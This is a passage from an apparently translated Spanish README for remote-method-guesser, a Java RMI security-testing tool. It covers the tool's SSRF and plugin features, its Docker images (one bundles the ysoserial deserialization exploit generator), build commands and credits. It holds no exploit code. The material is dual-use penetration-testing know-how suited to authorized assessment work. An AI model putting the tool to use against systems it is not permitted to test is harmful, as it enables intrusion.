usando la opción ``--ssrf-response``. Esto analiza la salida del servidor tal como fue obtenida por la operación especificada.
* *remote-method-guesser* se puede extender mediante su *Sistema de Plugins*. Cuatro interfaces (``IPayloadProvider``, ``IResponseHandler``,
``IArgumentProvider`` y ``ISocketFactoryProvider``) se pueden usar para adaptar *remote-method-guesser* a escenarios de uso más complejos.
* Durante la acción ``guess``, puede usar la opción ``--create-samples`` para generar código *Java* que se pueda usar para
invocar métodos adivinados exitosamente.
Puede encontrar más información sobre estas características en la [carpeta de documentación](https://github.com/qtc-de/remote-method-guesser/blob/master/docs).
### Imagen Docker
----
Desde la versión `v4.4.0`, *remote-method-guesser* también está disponible como imagen docker y se puede obtener desde el
[Registro de Contenedores de GitHub](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg).
Para cada lanzamiento, hay una versión *normal* y una *slim* disponibles. Ambas proporcionan una versión funcional completa de
*remote-method-guesser*, pero solo la versión *normal* incluye [ysoserial](https://github.com/frohoff/ysoserial)
incorporado, lo que resulta en un tamaño de imagen mayor:
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`
También puede construir el contenedor por su cuenta ejecutando los siguientes comandos:```console
[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .
remote-method-guesser fue fuertemente influenciado por las publicaciones de blog de Hans-Martin Münch y Jake Miller. Además, la lista de palabras rmiscout fue obviamente copiada del proyecto rmiscout (como ya se puede deducir por el acuerdo de licencia diferente). Gracias Jake por esta increíble lista de métodos remotos recopilados de diferentes repositorios de GitHub.
Copyright 2023, Tobias Neitzel y los contribuyentes de remote-method-guesser.